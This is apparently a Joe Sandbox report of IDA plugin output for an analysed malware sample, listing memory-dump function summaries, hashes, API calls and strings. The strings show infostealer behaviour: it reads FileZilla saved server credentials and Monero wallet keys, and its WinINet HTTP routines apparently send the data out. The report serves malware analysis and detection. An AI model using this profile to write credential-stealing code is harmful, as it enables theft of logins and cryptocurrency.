Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2643c13dee63941cf5c88a7475369a35b088a7d4518b71b9fad2cffc1e2df77d
Instruction ID: 4456b1bc2aeeac873a80fbd808569ab0a9c605d6a733311cf4f61521033f1c84
Opcode Fuzzy Hash: 2643c13dee63941cf5c88a7475369a35b088a7d4518b71b9fad2cffc1e2df77d
Instruction Fuzzy Hash: E08127B3A093109BE3045E2DDD4536BF7E6EFD4720F1A853DE6C883744EA7998058693

Function 012ADE23 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2706e5b7aae559a7dd691e35a710eca22c78ff69b64e1f64167963c6ebedd5de
Instruction ID: aaafc6f8cc3943f6a34c34b11e469b7a05357a7aebf5dabfbe745cb714b9d457
Opcode Fuzzy Hash: 2706e5b7aae559a7dd691e35a710eca22c78ff69b64e1f64167963c6ebedd5de
Instruction Fuzzy Hash: 2261F1F36087049BD304AE2DDCC577ABBE4EF54320F06462CEAD587784EA3558048697

Function 0121B8D8 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c5bf49f493a99c37d6a1e000c05059ab9f9a35e90c0cbf57a5839a11ec6a461
Instruction ID: bbe196d7b76983614b937640491e996a57d9ce4f65bb66dcf100094bba541e77
Opcode Fuzzy Hash: 9c5bf49f493a99c37d6a1e000c05059ab9f9a35e90c0cbf57a5839a11ec6a461
Instruction Fuzzy Hash: C95127B3A0C2049FE3046E29EC8173AFBE5EF59320F16463DE6D987380EA3658458757

Function 012410DF Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb64c62ad22b9a53b33cd231357bd54c343c3209c136f9b745d523e0024bead7
Instruction ID: 99f840dd510fcf3edd1a41d8e2e3dccdd3ff6dc2ea518384b4cd210a49af2043
Opcode Fuzzy Hash: fb64c62ad22b9a53b33cd231357bd54c343c3209c136f9b745d523e0024bead7
Instruction Fuzzy Hash: 7C41D2F36087005FE7046E6AECC5B7EFBE9EBD4720F5A883EE28483744E97448458656

Function 01360ECE Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5161c4c1d631052cd7a8c41cc87cc05bae5a67441746f4b66338929b015bf2c
Instruction ID: 75660c2b532650fa30a8a55f78671d2168437f5e240da1de2e2327d8fd0d7f2e
Opcode Fuzzy Hash: d5161c4c1d631052cd7a8c41cc87cc05bae5a67441746f4b66338929b015bf2c
Instruction Fuzzy Hash: EA3160B290D324AFE310BE68D84167AF7E8EF88750F16482EE6D4C7200D6355840CBD3

Function 01345C38 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 511fc4f91e6805470c349973e317286be802cf204b46b8d48e757bfae63a9648
Instruction ID: 1086aca5d943344e890dc727df59b5d4996722c7ea509d9cee175a4801b69857
Opcode Fuzzy Hash: 511fc4f91e6805470c349973e317286be802cf204b46b8d48e757bfae63a9648
Instruction Fuzzy Hash: AD215AB250C304DFE305BF69DC856AEFBE6EF98710F16892DD6D582610E73598408A47

Function 00F19750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00F10250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F18E0B

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F099EC
Part of subcall function 00F099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F09A11
Part of subcall function 00F099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F09A31
Part of subcall function 00F099C0: ReadFile.KERNEL32(000000FF,?,00000000,00F0148F,00000000), ref: 00F09A5A
Part of subcall function 00F099C0: LocalFree.KERNEL32(00F0148F), ref: 00F09A90
Part of subcall function 00F099C0: CloseHandle.KERNEL32(000000FF), ref: 00F09A9A

Part of subcall function 00F18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F18E52

GetProcessHeap.KERNEL32(00000000,000F423F,00F20DBA,00F20DB7,00F20DB6,00F20DB3), ref: 00F10362
RtlAllocateHeap.NTDLL(00000000), ref: 00F10369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00F10385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F10393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00F103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00F10419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F10427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00F10463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F10475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F10502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F1051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F10532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F1054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00F10562
lstrcat.KERNEL32(?,profile: null), ref: 00F10571
lstrcat.KERNEL32(?,url: ), ref: 00F10580
lstrcat.KERNEL32(?,00000000), ref: 00F10593
lstrcat.KERNEL32(?,00F21678), ref: 00F105A2
lstrcat.KERNEL32(?,00000000), ref: 00F105B5
lstrcat.KERNEL32(?,00F2167C), ref: 00F105C4
lstrcat.KERNEL32(?,login: ), ref: 00F105D3
lstrcat.KERNEL32(?,00000000), ref: 00F105E6
lstrcat.KERNEL32(?,00F21688), ref: 00F105F5
lstrcat.KERNEL32(?,password: ), ref: 00F10604
lstrcat.KERNEL32(?,00000000), ref: 00F10617
lstrcat.KERNEL32(?,00F21698), ref: 00F10626
lstrcat.KERNEL32(?,00F2169C), ref: 00F10635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00F20DB2), ref: 00F1068E

Strings

<Pass encoding="base64">, xrefs: 00F1045A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00F102A4
url: , xrefs: 00F10577
profile: null, xrefs: 00F10568
<Host>, xrefs: 00F1037C
password: , xrefs: 00F105FB
login: , xrefs: 00F105CA
<User>, xrefs: 00F10410
browser: FileZilla, xrefs: 00F10559
<Port>, xrefs: 00F103C6

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 4a16b61db87c223ca102430091261811bc593c752186c311e4e02b9b1f2e8e86
Instruction ID: 6107d5ac8c7954cf06a1cbee1b5867f4f3176e81a316408672bb4bcb8437c29f
Opcode Fuzzy Hash: 4a16b61db87c223ca102430091261811bc593c752186c311e4e02b9b1f2e8e86
Instruction Fuzzy Hash: F1D16F75941108ABDB14EBF0ED96EEE7738FF14711F404428F113A7085EE78AA86EB61

Function 00F05960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F04839
Part of subcall function 00F047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F04849

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F059F8
StrCmpCA.SHLWAPI(?,008AF278), ref: 00F05A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F05B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008AF328,00000000,?,008AAF70,00000000,?,00F21A1C), ref: 00F05E71
lstrlen.KERNEL32(00000000), ref: 00F05E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00F05E93
RtlAllocateHeap.NTDLL(00000000), ref: 00F05E9A
lstrlen.KERNEL32(00000000), ref: 00F05EAF
lstrlen.KERNEL32(00000000), ref: 00F05ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F05EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00F05F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F05F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00F05F4C
InternetCloseHandle.WININET(00000000), ref: 00F05FB0
InternetCloseHandle.WININET(00000000), ref: 00F05FBD
HttpOpenRequestA.WININET(00000000,008AF258,?,008AE690,00000000,00000000,00400100,00000000), ref: 00F05BF8

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

InternetCloseHandle.WININET(00000000), ref: 00F05FC7

Strings

------, xrefs: 00F05A96
", xrefs: 00F05CD5
------, xrefs: 00F05C0B
", xrefs: 00F05E16
------, xrefs: 00F05D4C

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 91e64e35f98ab3518a3ebc5980fed7e24923ac5ab14aa5546dc942e0ecdbe567
Instruction ID: 837bdf136a1ca50f189e23ab2d4df1b0c5f76f0fda57bb8794af2a22b7d3413b
Opcode Fuzzy Hash: 91e64e35f98ab3518a3ebc5980fed7e24923ac5ab14aa5546dc942e0ecdbe567
Instruction Fuzzy Hash: 7E122F71821118ABDB15EBA0DC95FEEB378BF14710F4041A9B10663091EF786BCAEF65

Function 00F0CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F18B60: GetSystemTime.KERNEL32(00F20E1A,008AAD30,00F205AE,?,?,00F013F9,?,0000001A,00F20E1A,00000000,?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F18B86

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F0CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F0D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00F0D0CE
lstrcat.KERNEL32(?,00000000), ref: 00F0D208
lstrcat.KERNEL32(?,00F21478), ref: 00F0D217
lstrcat.KERNEL32(?,00000000), ref: 00F0D22A
lstrcat.KERNEL32(?,00F2147C), ref: 00F0D239
lstrcat.KERNEL32(?,00000000), ref: 00F0D24C
lstrcat.KERNEL32(?,00F21480), ref: 00F0D25B
lstrcat.KERNEL32(?,00000000), ref: 00F0D26E
lstrcat.KERNEL32(?,00F21484), ref: 00F0D27D
lstrcat.KERNEL32(?,00000000), ref: 00F0D290
lstrcat.KERNEL32(?,00F21488), ref: 00F0D29F
lstrcat.KERNEL32(?,00000000), ref: 00F0D2B2
lstrcat.KERNEL32(?,00F2148C), ref: 00F0D2C1
lstrcat.KERNEL32(?,00000000), ref: 00F0D2D4
lstrcat.KERNEL32(?,00F21490), ref: 00F0D2E3

Part of subcall function 00F1A820: lstrlen.KERNEL32(00F04F05,?,?,00F04F05,00F20DDE), ref: 00F1A82B
Part of subcall function 00F1A820: lstrcpy.KERNEL32(00F20DDE,00000000), ref: 00F1A885

lstrlen.KERNEL32(?), ref: 00F0D32A
lstrlen.KERNEL32(?), ref: 00F0D339

Part of subcall function 00F1AA70: StrCmpCA.SHLWAPI(008A98B0,00F0A7A7,?,00F0A7A7,008A98B0), ref: 00F1AA8F

DeleteFileA.KERNEL32(00000000), ref: 00F0D3B4

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
